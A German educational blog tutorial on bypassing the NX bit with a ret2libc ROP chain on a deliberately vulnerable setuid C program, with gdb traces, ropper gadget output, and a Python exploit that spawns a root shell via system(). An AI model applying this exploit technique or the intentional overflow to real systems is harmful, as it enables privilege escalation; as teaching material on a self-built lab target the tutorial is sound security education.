Im zweiten Teil aktivieren wir das NX-Bit, welches uns vor Buffer Overflows schützen soll. Damit es spaßig bleibt, hebeln wir diesen Schutz natürlich direkt aus. Dies erreichen wir, indem der auszuführende Befehl an die libc-Funktion system()
weitergeleitet wird. Grundlegend basiert dieses Tutorial auf der Arbeit von superkojiman 1)
Dieser Artikel ist Teil der Buffer Overflow Reihe. Hier gibt es mehr zu diesem Thema:
Weiterführende Infos zum Thema ROP (Return Oriented Programming) und Grundlagen zum Thema Buffer Overflows gibt es in der Linksammlung am Ende. 3) 4)
Im Tutorial von superkojiman wird gezeigt, wie die Register Schritt für Schritt überschrieben werden. Um den Prozess nachzuvollziehen, können wir die kompilierte Binary aus dem Blog debuggen.
br *vuln+73 # setze Breakpoint r < in.txt # in.txt wird vom Python Script erzeugt ... # Breakpoint RDI: 0x7ffff7fa0a30 --> 0x0 RBP: 0x4141414141414141 ('AAAAAAAA') # RBP ist überschrieben RSP: 0x7fffffffddc8 --> 0x4006a3 (<__libc_csu_init+99>: pop rdi) # RSP mit pop rdi Gadget RIP: 0x40060f (<vuln+73>: ret) gdb-peta$ si ... RDI: 0x7ffff7fa0a30 --> 0x0 RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffddd0 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh') # Pointer nach /bin/sh RIP: 0x4006a3 (<__libc_csu_init+99>: pop rdi) # pop rdi wurde auf RIP geschrieben gdb-peta$ si ... RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh') # Pointer wurde auf rdi geschrieben RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffddd8 --> 0x400469 (<_init+25>: ret) # NOP RIP: 0x4006a4 (<__libc_csu_init+100>: ret) gdb-peta$ si ... RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh') RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7...fdde0 --> 0x7ffff7e17920 (<__libc_system>: test rdi,rdi) # system("/bin/sh") RIP: 0x400469 (<_init+25>: ret)
Auch hier muss ASLR wieder deaktiviert werden, um konstante Speicherbereiche zu erhalten. In Teil 1 ist beschrieben, was hierfür zu tun ist.
Quellcode und kompilierte Binaries findet Ihr auch auf meinem github repository
Das Ursprungs-Tutorial ist schon ein bisschen älter, so dass der Quellcode nicht 1:1 übernommen werden konnte. Zum einen musste das UID
und EUID
zusätzlich gesetzt werden 5), zum anderen funktioniert /bin/sh
nicht mehr in dieser Art und Weise. 6)
Da es an einem pop rdi; ret;
Gadget fehlte, habe ich mir eine entsprechende Funktion erstellt.
/* Code https://blog.techorganic.com/2015/04/21/64-bit-linux-stack-smashing-tutorial-part-2/ */ /* Changes by https://www.nosociety.de/it-security:blog:buffer_overflow_x64-2 */ /* Compile: gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2 */ /* Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space */ #include <stdio.h> #include <unistd.h> int gadg() { asm ("pop %rdi"); asm ("ret"); return 0; } int vuln() { char buf[80]; int r; r = read(0, buf, 400); printf("\nRead %d bytes. buf is %s\n", r, buf); puts("No shell for you :("); return 0; } int main(int argc, char *argv[]) { setuid(0); seteuid(0); printf("Try to exec /bin/zsh --interactive"); vuln(); return 0; }
Nun kompilieren wir das Programm. Wichtig ist, dass der no-pie
Parameter gesetzt wird. Eine Erklärung liefert der Nutzer b4551k5 hierzu:
It seems that gcc build PIE (position indep. exec.). You can check this using „readelf -e <executable>“. If at the top (the header), Type is „DYN (shared…“ then it is PIE and gets loaded at random base address. You can rebuild the code using „-no-pie“ as compile flag to tell the linker you want to build an executable. This should result in 0x400000 as base address as in the examples above.
gcc -fno-stack-protector -no-pie bof-part2.c -o bof-part2
Wir benötigen 2 Gadgets, um das Exploit zu erstellen. Hierzu starten wir ropper und lassen uns die Gadgets anzeigen
ropper --file bof-part2
...
0x000000000040116a: pop rdi; ret;
...
0x0000000000401016: ret;
Wir brauchen 40116a
, um unser Argument von RSP auf RDI zu schieben und 401016
ist eine NOP Funktion, welche RSP um 8 Bytes verschiebt. 7)
Nun benötigen wir noch 2 Offsets, für das Exploit. Also laden wir unsere Datei in den Debugger und starten:
gdb-peda$ start ... gdb-peda$ p system $1 = {int (const char *)} 0x7ffff7e17920 <__libc_system> gdb-peda$ find "/bin/zsh --interactive" Searching for '/bin/zsh --interactive' in: None ranges Found 2 results, display max 2 items: bof-part2 : 0x402044 ("/bin/zsh --interactive") bof-part2 : 0x403044 ("/bin/zsh --interactive")
Das Offset 0x7ffff7e17920
ist die Adresse von system()
, unserem libc Aufruf. 0x402044
ist die Adressse unseres Parameters, den wir an system()
übergeben wollen. Jetzt haben wir alle nötigen Parameter, um den entprechenden Buffer im Exploit aufzubauen.
#!/usr/bin/env python from struct import * buf = "" buf += "A"*104 # junk buf += pack("<Q", 0x000000000040116a) # pop rdi; ret; buf += pack("<Q", 0x402044) # pointer to "/bin/zsh --interactive" gets popped into rdi buf += pack("<Q", 0x0000000000401016) # 8 Bytes NOP buf += pack("<Q", 0x7ffff7e17920) # address of system() f = open("in.txt", "w") f.write(buf)
Nun führen wir unser Python Exploit aus, und erstellen die Datei in.txt.
python2 buffer.py
Unsere Datei benötigt noch die entsprechenden root Berechtigungen.
sudo chown root bof-part2 sudo chmod 4755 bof-part2
Nun starten wir unser Programm und übergeben unseren Buffer als Argument.
(cat in.txt | cat) | ./bof-part2
Unsere User Shell wird zur root Shell aufgewertet und wir haben unser Ziel erreicht.
Projektdateien | nosoc-repo-bof-part2.zip ZIP |
---|---|
Größe | 4,00 KB |
Prüfsumme (SHA256) | 88bda11b4652344bb9113a400b79e78abf028ef5eb89a74538061c96e2d306e5 |